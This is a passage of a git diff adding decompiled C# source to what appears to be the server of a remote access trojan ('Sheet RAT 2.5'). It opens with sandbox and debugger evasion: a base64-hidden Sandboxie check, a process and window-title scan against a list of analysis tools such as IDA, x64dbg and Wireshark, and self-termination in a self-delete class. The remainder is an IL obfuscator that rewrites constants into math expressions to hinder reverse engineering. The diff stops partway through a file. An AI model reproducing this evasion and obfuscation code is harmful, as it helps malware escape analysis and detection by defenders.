ProcessWindowStyle.Hidden + })?.Dispose(); + Process.GetCurrentProcess().Kill(); + } + + private static bool ValueType() + { + return File.Exists(Environment.ExpandEnvironmentVariables("%appdata%") + "\\dnSpy\\dnSpy.xml"); + } + + private static IntPtr GetModuleHandle(string libName) + { + foreach (ProcessModule module in (ReadOnlyCollectionBase) Process.GetCurrentProcess().Modules) + { + if (module.ModuleName.ToLower().Contains(libName.ToLower())) + return module.BaseAddress; + } + return IntPtr.Zero; + } + + private static bool IsDetected() + { + return SelfDeleteClass.GetModuleHandle(Encoding.UTF8.GetString(Convert.FromBase64String("U2JpZURsbC5kbGw="))) != IntPtr.Zero; + } + + private static bool Run() + { + bool flag = false; + if (Debugger.IsAttached || Debugger.IsLogging()) + { + flag = true; + } + else + { + string[] strArray = new string[41] + { + "codecracker", + "x32dbg", + "x64dbg", + "ollydbg", + "ida", + "charles", + "dnspy", + "simpleassembly", + "peek", + "httpanalyzer", + "httpdebug", + "fiddler", + "wireshark", + "dbx", + "mdbg", + "gdb", + "windbg", + "dbgclr", + "kdb", + "kgdb", + "mdb", + "processhacker", + "scylla_x86", + "scylla_x64", + "scylla", + "idau64", + "idau", + "idaq", + "idaq64", + "idaw", + "idaw64", + "idag", + "idag64", + "ida64", + "ida", + "ImportREC", + "IMMUNITYDEBUGGER", + "MegaDumper", + "CodeBrowser", + "reshacker", + "cheat engine" + }; + foreach (Process process in Process.GetProcesses()) + { + if (process != Process.GetCurrentProcess()) + { + for (int index = 0; index < strArray.Length; ++index) + { + if (process.ProcessName.ToLower().Contains(strArray[index])) + flag = true; + if (process.MainWindowTitle.ToLower().Contains(strArray[index])) + flag = true; + } + } + } + } + return flag; + } +} +} diff --git a/Server/MindLated/Protection/Arithmetic/Arithmetic.cs b/Server/MindLated/Protection/Arithmetic/Arithmetic.cs new file mode 100644 index 0000000..1ed0905 --- /dev/null +++ b/Server/MindLated/Protection/Arithmetic/Arithmetic.cs @@ -0,0 +1,117 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Arithmetic.Arithmetic +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using MindLated.Protection.Arithmetic.Functions; +using MindLated.Protection.Arithmetic.Functions.Maths; +using MindLated.Protection.Arithmetic.Utils; +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.Reflection; + +//#nullable disable +namespace MindLated.Protection.Arithmetic { + +public static class Arithmetic +{ + private static ModuleDef _moduleDef1; + public static readonly List Tasks = new List() + { + (Function) new Add(), + (Function) new Sub(), + (Function) new Div(), + (Function) new Mul(), + (Function) new Xor(), + (Function) new Abs(), + (Function) new Log(), + (Function) new Log10(), + (Function) new Sin(), + (Function) new Cos(), + (Function) new Floor(), + (Function) new Round(), + (Function) new Tan(), + (Function) new Tanh(), + (Function) new Sqrt(), + (Function) new Ceiling(), + (Function) new Truncate() + }; + + public static void Execute(ModuleDef module) + { + MindLated.Protection.Arithmetic.Arithmetic._moduleDef1 = module; + MindLated.Protection.Arithmetic.Generator.Generator generator = new MindLated.Protection.Arithmetic.Generator.Generator(); + foreach (TypeDef type in (IEnumerable) module.Types) + { + foreach (MethodDef method in (IEnumerable) type.Methods) + { + if (method.HasBody && !method.DeclaringType.IsGlobalModuleType) + { + for (int index = 0; index < method.Body.Instructions.Count; ++index) + { + if (ArithmeticUtils.CheckArithmetic(method.Body.Instructions[index])) + { + if (method.Body.Instructions[index].GetLdcI4Value() < 0) + { + List body = MindLated.Protection.Arithmetic.Arithmetic.GenerateBody(MindLated.Protection.Arithmetic.Arithmetic.Tasks[generator.Next(5)].Arithmetic(method.Body.Instructions[index], module)); + method.Body.Instructions[index].OpCode = OpCodes.Nop; + foreach (Instruction instruction in body) + { + method.Body.Instructions.Insert(index + 1, instruction); + ++index; + } + } + else + { + List body = MindLated.Protection.Arithmetic.Arithmetic.GenerateBody(MindLated.Protection.Arithmetic.Arithmetic.Tasks[generator.Next(MindLated.Protection.Arithmetic.Arithmetic.Tasks.Count)].Arithmetic(method.Body.Instructions[index], module)); + method.Body.Instructions[index].OpCode = OpCodes.Nop; + foreach (Instruction instruction in body) + { + method.Body.Instructions.Insert(index + 1, instruction); + ++index; + } + } + } + } + } + } + } + } + + public static List GenerateBody(ArithmeticVt arithmeticVTs) + { + List body = new List(); + if (MindLated.Protection.Arithmetic.Arithmetic.IsArithmetic(arithmeticVTs.GetArithmetic())) + { + body.Add(new Instruction(OpCodes.Ldc_R8, (object) arithmeticVTs.GetValue().GetX())); + body.Add(new Instruction(OpCodes.Ldc_R8, (object) arithmeticVTs.GetValue().GetY())); + if (arithmeticVTs.GetToken().GetOperand() != null) + body.Add(new Instruction(OpCodes.Call, arithmeticVTs.GetToken().GetOperand())); + body.Add(new Instruction(arithmeticVTs.GetToken().GetOpCode())); + body.Add(new Instruction(OpCodes.Call, (object) MindLated.Protection.Arithmetic.Arithmetic._moduleDef1.Import((MethodBase) typeof (Convert).GetMethod("ToInt32", new Type[1] + { + typeof (double) + })))); + } + else if (MindLated.Protection.Arithmetic.Arithmetic.IsXor(arithmeticVTs.GetArithmetic())) + { + body.Add(new Instruction(OpCodes.Ldc_I4, (object) (int) arithmeticVTs.GetValue().GetX())); + body.Add(new Instruction(OpCodes.Ldc_I4, (object) (int) arithmeticVTs.GetValue().GetY())); + body.Add(new Instruction(arithmeticVTs.GetToken().GetOpCode())); + body.Add(new Instruction(OpCodes.Conv_I4)); + } + return body; + } + + private static bool IsArithmetic(ArithmeticTypes arithmetic) + { + return arithmetic == ArithmeticTypes.Add || arithmetic == ArithmeticTypes.Sub || arithmetic == ArithmeticTypes.Div || arithmetic == ArithmeticTypes.Mul || arithmetic == ArithmeticTypes.Abs || arithmetic == ArithmeticTypes.Log || arithmetic == ArithmeticTypes.Log10 || arithmetic == ArithmeticTypes.Truncate || arithmetic == ArithmeticTypes.Sin || arithmetic == ArithmeticTypes.Cos || arithmetic == ArithmeticTypes.Floor || arithmetic == ArithmeticTypes.Round || arithmetic == ArithmeticTypes.Tan || arithmetic == ArithmeticTypes.Tanh || arithmetic == ArithmeticTypes.Sqrt || arithmetic == ArithmeticTypes.Ceiling; + } + + private static bool IsXor(ArithmeticTypes arithmetic) => arithmetic == ArithmeticTypes.Xor; +} +} diff --git a/Server/MindLated/Protection/Arithmetic/ArithmeticEmulator.cs b/Server/MindLated/Protection/Arithmetic/ArithmeticEmulator.cs new file mode 100644 index 0000000..d0c09dd --- /dev/null +++ b/Server/MindLated/Protection/Arithmetic/ArithmeticEmulator.cs @@ -0,0 +1,133 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Arithmetic.ArithmeticEmulator +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using System; +using System.Windows.Forms; +using System.Collections.Generic; + +//#nullable disable +namespace MindLated.Protection.Arithmetic { + +public class ArithmeticEmulator +{ + private readonly double _x; + private readonly double _y; + private readonly ArithmeticTypes _arithmeticTypes; + + public ArithmeticTypes GetType { get; private set; } + + public ArithmeticEmulator(double x, double y, ArithmeticTypes arithmeticTypes) + { + this._x = x; + this._y = y; + this._arithmeticTypes = arithmeticTypes; + } + + public double GetValue() + { + switch (this._arithmeticTypes) + { + case ArithmeticTypes.Add: + return this._x - this._y; + case ArithmeticTypes.Sub: + return this._x + this._y; + case ArithmeticTypes.Div: + return this._x * this._y; + case ArithmeticTypes.Mul: + return this._x / this._y; + case ArithmeticTypes.Xor: + return (double) ((int) this._x ^ (int) this._y); + default: + return -1.0; + } + } + + public double GetValue(List arithmetics) + { + MindLated.Protection.Arithmetic.Generator.Generator generator = new MindLated.Protection.Arithmetic.Generator.Generator(); + ArithmeticTypes arithmetic = arithmetics[generator.Next(arithmetics.Count)]; + this.GetType = arithmetic; + switch (this._arithmeticTypes) + { + case ArithmeticTypes.Abs: + if (arithmetic == ArithmeticTypes.Add) + return this._x + Math.Abs(this._y) * -1.0; + if (arithmetic == ArithmeticTypes.Sub) + return this._x - Math.Abs(this._y) * -1.0; + break; + case ArithmeticTypes.Log: + if (arithmetic == ArithmeticTypes.Add) + return this._x - Math.Log(this._y); + if (arithmetic == ArithmeticTypes.Sub) + return this._x + Math.Log(this._y); + break; + case ArithmeticTypes.Log10: + if (arithmetic == ArithmeticTypes.Add) + return this._x - Math.Log10(this._y); + if (arithmetic == ArithmeticTypes.Sub) + return this._x + Math.Log10(this._y); + break; + case ArithmeticTypes.Sin: + if (arithmetic == ArithmeticTypes.Add) + return this._x - Math.Sin(this._y); + if (arithmetic == ArithmeticTypes.Sub) + return this._x + Math.Sin(this._y); + break; + case ArithmeticTypes.Cos: + if (arithmetic == ArithmeticTypes.Add) + return this._x - Math.Cos(this._y); + if (arithmetic == ArithmeticTypes.Sub) + return this._x + Math.Cos(this._y); + break; + case ArithmeticTypes.Round: + if (arithmetic == ArithmeticTypes.Add) + return this._x - Math.Round(this._y); + if (arithmetic == ArithmeticTypes.Sub) + return this._x + Math.Round(this._y); + break; + case ArithmeticTypes.Sqrt: + if (arithmetic == ArithmeticTypes.Add) + return this._x - Math.Sqrt(this._y); + if (arithmetic == ArithmeticTypes.Sub) + return this._x + Math.Sqrt(this._y); + break; + case ArithmeticTypes.Ceiling: + if (arithmetic == ArithmeticTypes.Add) + return this._x - Math.Ceiling(this._y); + if (arithmetic == ArithmeticTypes.Sub) + return this._x + Math.Ceiling(this._y); + break; + case ArithmeticTypes.Floor: + if (arithmetic == ArithmeticTypes.Add) + return this._x - Math.Floor(this._y); + if (arithmetic == ArithmeticTypes.Sub) + return this._x + Math.Floor(this._y); + break; + case ArithmeticTypes.Tan: + if (arithmetic == ArithmeticTypes.Add) + return this._x - Math.Tan(this._y); + if (arithmetic == ArithmeticTypes.Sub) + return this._x + Math.Tan(this._y); + break; + case ArithmeticTypes.Tanh: + if (arithmetic == ArithmeticTypes.Add) + return this._x - Math.Tanh(this._y); + if (arithmetic == ArithmeticTypes.Sub) + return this._x + Math.Tanh(this._y); + break; + case ArithmeticTypes.Truncate: + if (arithmetic == ArithmeticTypes.Add) + return this._x - Math.Truncate(this._y); + if (arithmetic == ArithmeticTypes.Sub) + return this._x + Math.Truncate(this._y); + break; + } + return -1.0; + } + + public double GetY() => this._y; +} +} diff --git a/Server/MindLated/Protection/Arithmetic/ArithmeticTypes.cs b/Server/MindLated/Protection/Arithmetic/ArithmeticTypes.cs new file mode 100644 index 0000000..f3cfa09 --- /dev/null +++ b/Server/MindLated/Protection/Arithmetic/ArithmeticTypes.cs @@ -0,0 +1,30 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Arithmetic.ArithmeticTypes +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +//#nullable disable +namespace MindLated.Protection.Arithmetic { + +public enum ArithmeticTypes +{ + Add, + Sub, + Div, + Mul, + Xor, + Abs, + Log, + Log10, + Sin, + Cos, + Round, + Sqrt, + Ceiling, + Floor, + Tan, + Tanh, + Truncate, +} +} diff --git a/Server/MindLated/Protection/Arithmetic/ArithmeticVt.cs b/Server/MindLated/Protection/Arithmetic/ArithmeticVt.cs new file mode 100644 index 0000000..759ced9 --- /dev/null +++ b/Server/MindLated/Protection/Arithmetic/ArithmeticVt.cs @@ -0,0 +1,29 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Arithmetic.ArithmeticVt +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +//#nullable disable +namespace MindLated.Protection.Arithmetic { + +public class ArithmeticVt +{ + private readonly Value _value; + private readonly Token _token; + private readonly ArithmeticTypes _arithmeticTypes; + + public ArithmeticVt(Value value, Token token, ArithmeticTypes arithmeticTypes) + { + this._value = value; + this._token = token; + this._arithmeticTypes = arithmeticTypes; + } + + public Value GetValue() => this._value; + + public Token GetToken() => this._token; + + public ArithmeticTypes GetArithmetic() => this._arithmeticTypes; +} +} diff --git a/Server/MindLated/Protection/Arithmetic/Function.cs b/Server/MindLated/Protection/Arithmetic/Function.cs new file mode 100644 index 0000000..a13d7fd --- /dev/null +++ b/Server/MindLated/Protection/Arithmetic/Function.cs @@ -0,0 +1,17 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Arithmetic.Function +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; + +//#nullable disable +namespace MindLated.Protection.Arithmetic { + +public abstract class Function +{ + public abstract ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module); +} +} diff --git a/Server/MindLated/Protection/Arithmetic/Functions/Add.cs b/Server/MindLated/Protection/Arithmetic/Functions/Add.cs new file mode 100644 index 0000000..915b4d8 --- /dev/null +++ b/Server/MindLated/Protection/Arithmetic/Functions/Add.cs @@ -0,0 +1,26 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Arithmetic.Functions.Add +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using MindLated.Protection.Arithmetic.Utils; + +//#nullable disable +namespace MindLated.Protection.Arithmetic.Functions { + +public class Add : Function +{ + public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Add; + + public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module) + { + if (!ArithmeticUtils.CheckArithmetic(instruction)) + return (ArithmeticVt) null; + ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes); + return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(), arithmeticEmulator.GetY()), new Token(OpCodes.Add), this.ArithmeticTypes); + } +} +} diff --git a/Server/MindLated/Protection/Arithmetic/Functions/Div.cs b/Server/MindLated/Protection/Arithmetic/Functions/Div.cs new file mode 100644 index 0000000..506711d --- /dev/null +++ b/Server/MindLated/Protection/Arithmetic/Functions/Div.cs @@ -0,0 +1,26 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Arithmetic.Functions.Div +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using MindLated.Protection.Arithmetic.Utils; + +//#nullable disable +namespace MindLated.Protection.Arithmetic.Functions { + +public class Div : Function +{ + public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Div; + + public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module) + { + if (!ArithmeticUtils.CheckArithmetic(instruction)) + return (ArithmeticVt) null; + ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes); + return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(), arithmeticEmulator.GetY()), new Token(OpCodes.Div), this.ArithmeticTypes); + } +} +} diff --git a/Server/MindLated/Protection/Arithmetic/Functions/Maths/Abs.cs b/Server/MindLated/Protection/Arithmetic/Functions/Maths/Abs.cs new file mode 100644 index 0000000..6030d33 --- /dev/null +++ b/Server/MindLated/Protection/Arithmetic/Functions/Maths/Abs.cs @@ -0,0 +1,33 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Arithmetic.Functions.Maths.Abs +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using MindLated.Protection.Arithmetic.Utils; +using System.Collections.Generic; +using System.Reflection; + +//#nullable disable +namespace MindLated.Protection.Arithmetic.Functions.Maths { + +public sealed class Abs : Function +{ + private static ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Abs; + + public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module) + { + if (!ArithmeticUtils.CheckArithmetic(instruction)) + return (ArithmeticVt) null; + List arithmetics = new List() + { + ArithmeticTypes.Add, + ArithmeticTypes.Sub + }; + ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), Abs.ArithmeticTypes); + return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(Abs.ArithmeticTypes))), Abs.ArithmeticTypes); + } +} +} diff --git a/Server/MindLated/Protection/Arithmetic/Functions/Maths/Ceiling.cs b/Server/MindLated/Protection/Arithmetic/Functions/Maths/Ceiling.cs new file mode 100644 index 0000000..f2770f9 --- /dev/null +++ b/Server/MindLated/Protection/Arithmetic/Functions/Maths/Ceiling.cs @@ -0,0 +1,33 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Arithmetic.Functions.Maths.Ceiling +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using MindLated.Protection.Arithmetic.Utils; +using System.Collections.Generic; +using System.Reflection; + +//#nullable disable +namespace MindLated.Protection.Arithmetic.Functions.Maths { + +public class Ceiling : Function +{ + public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Ceiling; + + public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module) + { + if (!ArithmeticUtils.CheckArithmetic(instruction)) + return (ArithmeticVt) null; + List arithmetics = new List() + { + ArithmeticTypes.Add, + ArithmeticTypes.Sub + }; + ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes); + return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes); + } +} +} diff --git a/Server/MindLated/Protection/Arithmetic/Functions/Maths/Cos.cs b/Server/MindLated/Protection/Arithmetic/Functions/Maths/Cos.cs new file mode 100644 index 0000000..a8847c4 --- /dev/null +++ b/Server/MindLated/Protection/Arithmetic/Functions/Maths/Cos.cs @@ -0,0 +1,33 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Arithmetic.Functions.Maths.Cos +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using MindLated.Protection.Arithmetic.Utils; +using System.Collections.Generic; +using System.Reflection; + +//#nullable disable +namespace MindLated.Protection.Arithmetic.Functions.Maths { + +public class Cos : Function +{ + public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Cos; + + public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module) + { + if (!ArithmeticUtils.CheckArithmetic(instruction)) + return (ArithmeticVt) null; + List arithmetics = new List() + { + ArithmeticTypes.Add, + ArithmeticTypes.Sub + }; + ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes); + return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes); + } +} +} diff --git a/Server/MindLated/Protection/Arithmetic/Functions/Maths/Floor.cs b/Server/MindLated/Protection/Arithmetic/Functions/Maths/Floor.cs new file mode 100644 index 0000000..dd2b9f1 --- /dev/null +++ b/Server/MindLated/Protection/Arithmetic/Functions/Maths/Floor.cs @@ -0,0 +1,33 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Arithmetic.Functions.Maths.Floor +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using MindLated.Protection.Arithmetic.Utils; +using System.Collections.Generic; +using System.Reflection; + +//#nullable disable +namespace MindLated.Protection.Arithmetic.Functions.Maths { + +public class Floor : Function +{ + public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Floor; + + public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module) + { + if (!ArithmeticUtils.CheckArithmetic(instruction)) + return (ArithmeticVt) null; + List arithmetics = new List() + { + ArithmeticTypes.Add, + ArithmeticTypes.Sub + }; + ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes); + return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes); + } +} +} diff --git a/Server/MindLated/Protection/Arithmetic/Functions/Maths/Log.cs b/Server/MindLated/Protection/Arithmetic/Functions/Maths/Log.cs new file mode 100644 index 0000000..3e856f8 --- /dev/null +++ b/Server/MindLated/Protection/Arithmetic/Functions/Maths/Log.cs @@ -0,0 +1,33 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Arithmetic.Functions.Maths.Log +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using MindLated.Protection.Arithmetic.Utils; +using System.Collections.Generic; +using System.Reflection; + +//#nullable disable +namespace MindLated.Protection.Arithmetic.Functions.Maths { + +public class Log : Function +{ + public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Log; + + public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module) + { + if (!ArithmeticUtils.CheckArithmetic(instruction)) + return (ArithmeticVt) null; + List arithmetics = new List() + { + ArithmeticTypes.Add, + ArithmeticTypes.Sub + }; + ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes); + return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes); + } +} +} diff --git a/Server/MindLated/Protection/Arithmetic/Functions/Maths/Log10.cs b/Server/MindLated/Protection/Arithmetic/Functions/Maths/Log10.cs new file mode 100644 index 0000000..2e2f3d4 --- /dev/null +++ b/Server/MindLated/Protection/Arithmetic/Functions/Maths/Log10.cs @@ -0,0 +1,33 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Arithmetic.Functions.Maths.Log10 +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using MindLated.Protection.Arithmetic.Utils; +using System.Collections.Generic; +using System.Reflection; + +//#nullable disable +namespace MindLated.Protection.Arithmetic.Functions.Maths { + +public class Log10 : Function +{ + public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Log10; + + public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module) + { + if (!ArithmeticUtils.CheckArithmetic(instruction)) + return (ArithmeticVt) null; + List arithmetics = new List() + { + ArithmeticTypes.Add, + ArithmeticTypes.Sub + }; + ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes); + return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes); + } +} +} diff --git a/Server/MindLated/Protection/Arithmetic/Functions/Maths/Round.cs b/Server/MindLated/Protection/Arithmetic/Functions/Maths/Round.cs new file mode 100644 index 0000000..359d229 --- /dev/null +++ b/Server/MindLated/Protection/Arithmetic/Functions/Maths/Round.cs @@ -0,0 +1,33 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Arithmetic.Functions.Maths.Round +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using MindLated.Protection.Arithmetic.Utils; +using System.Collections.Generic; +using System.Reflection; + +//#nullable disable +namespace MindLated.Protection.Arithmetic.Functions.Maths { + +public class Round : Function +{ + public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Round; + + public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module) + { + if (!ArithmeticUtils.CheckArithmetic(instruction)) + return (ArithmeticVt) null; + List arithmetics = new List() + { + ArithmeticTypes.Add, + ArithmeticTypes.Sub + }; + ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes); + return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes); + } +} +} diff --git a/Server/MindLated/Protection/Arithmetic/Functions/Maths/Sin.cs b/Server/MindLated/Protection/Arithmetic/Functions/Maths/Sin.cs new file mode 100644 index 0000000..8c62e71 --- /dev/null +++ b/Server/MindLated/Protection/Arithmetic/Functions/Maths/Sin.cs @@ -0,0 +1,33 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Arithmetic.Functions.Maths.Sin +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using MindLated.Protection.Arithmetic.Utils; +using System.Collections.Generic; +using System.Reflection; + +//#nullable disable +namespace MindLated.Protection.Arithmetic.Functions.Maths { + +public class Sin : Function +{ + public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Sin; + + public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module) + { + if (!ArithmeticUtils.CheckArithmetic(instruction)) + return (ArithmeticVt) null; + List arithmetics = new List() + { + ArithmeticTypes.Add, + ArithmeticTypes.Sub + }; + ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes); + return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes); + } +} +} diff --git a/Server/MindLated/Protection/Arithmetic/Functions/Maths/Sqrt.cs b/Server/MindLated/Protection/Arithmetic/Functions/Maths/Sqrt.cs new file mode 100644 index 0000000..d017da9 --- /dev/null +++ b/Server/MindLated/Protection/Arithmetic/Functions/Maths/Sqrt.cs @@ -0,0 +1,33 